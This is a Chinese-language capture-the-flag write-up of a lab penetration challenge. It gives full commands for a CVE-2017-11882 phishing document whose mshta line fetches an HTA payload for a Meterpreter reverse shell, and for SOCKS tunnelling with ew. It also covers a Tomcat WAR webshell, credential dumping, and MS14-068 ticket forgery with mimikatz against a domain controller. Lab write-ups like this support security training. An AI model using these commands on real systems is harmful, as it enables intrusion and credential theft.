Defcon China 靶场题 - 内网渗透Writeup

对内网渗透的题目挺感兴趣的,所以做了一发。

先给个拓扑图

image.png

1. wordpress

http://192.168.1.2/是一个wordpress

文件上传: http://192.168.1.2/wp-content/uploads/
后台可admin/admin登录
ssh可root/admin登录

image.png

2. word cve钓鱼

从配置中看到有个文档web的配置

image.png

http的log日志可以看到,也有一个bot每隔一段时间会去请求report.doc

image.png

尝试用CVE-2017-11882打一波

1、由于环境问题,先做ssh的端口转发
ssh -CfNg -R 13339:127.0.0.1:13338 [email protected]、生成一个hta文件
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.2 lport=13339 -f hta-psh -o a.hta3、生成恶意doc文件
python Command43b_CVE-2017-11882.py -c "mshta http://192.168.1.2:8000/a.hta" -o test.doc4、msf监听端口上线
use multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST 0.0.0.0set LPORT 13338exploit -j

进入了192.168.2.1/24段

image.png

Get Flag.

image.png

3.tomcat

添加路由
run autoroute -s 192.168.2.1/24

进行端口扫描
use auxiliary/scanner/portscan/tcpset PORTS 3389,445,22,80,8080set RHoSTS 192.168.2.1/24set THREADS 50
exploit

由于msf是s4代理,还很慢,就使用ew来做

先上传一下ew
meterpreter > upload /media/psf/Home/ew.exe c:/Users/RTF/Desktop/linux,192.168.1.2做监听
./ew_for_linux64 -s rcsocks -l 10080 -e 8881windows,192.168.2.114反向连接c:/Users/RTF/Desktop/ew.exe -s rssocks -d 192.168.1.2 -e 8881

对内网的192.168.2.104的web进行测试,但是没测出什么.

image.png

但是8080存在tomcat,默认账号密码可以进入,然后部署war包获得一个root权限的webshell

image.png

还有一个flag在/var/www/flag,另外翻到数据库密码,连接进去看是有一个提示.

/var/www/html/inc/config.php:$DB=new MyDB("127.0.0.1","mail","mail123456","my_mail");

image.png

4.pc windows

爆破一发,发现可以进入192.168.2.112

image.png

做了端口转发登录3389,然后以管理员权限执行木马,上线

image.png

这里有一个问题就是,一开始只是拿到域内机器的本地administrator权限,所以net user /domain是无法给域控发送一些请求信息,但是提升到system权限即可。

5.dc windows

看了一下pc机器的进程,发现是有域用户在上面。

image.png

抓一下明文密码

image.png

可以看到pc用户只是一个普通域用户

image.png

这里吐槽一下...赛题居然都不复现一下,一开始都没有任何域用户的提示信息,这个pc用户都是后面加上去的。

确认一下域控位置是为\DC,因为remark备注了,所以比较明显

image.png

然后就是试一下ms14-068,参考《MS14-068 privilege escalation PoC》

使用方法:
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码

MS14-068.exe -u [email protected] -s S-1-5-21-2251846888-1669908150-1970748206-1116 -d 192.168.2.10 -p [email protected]

其中域成员ad/pc的sid获取,先把进程切换了到了ad/pc权限下面,当然如果只是本地账号权限的话,可以用dsquery + dsget获取,另外注意域成员名@域名,后面的域名必须使用完整dns名称。

image.png

然后用mimikatz把凭证清空一下

mimikatz.exe "kerberos::purge" "kerberos::list" "exit"

然后注入一下凭证

mimikatz.exe "kerberos::ptc [email protected]"

最后获取flag

image.png

know it then do it



源链接

Hacking more

...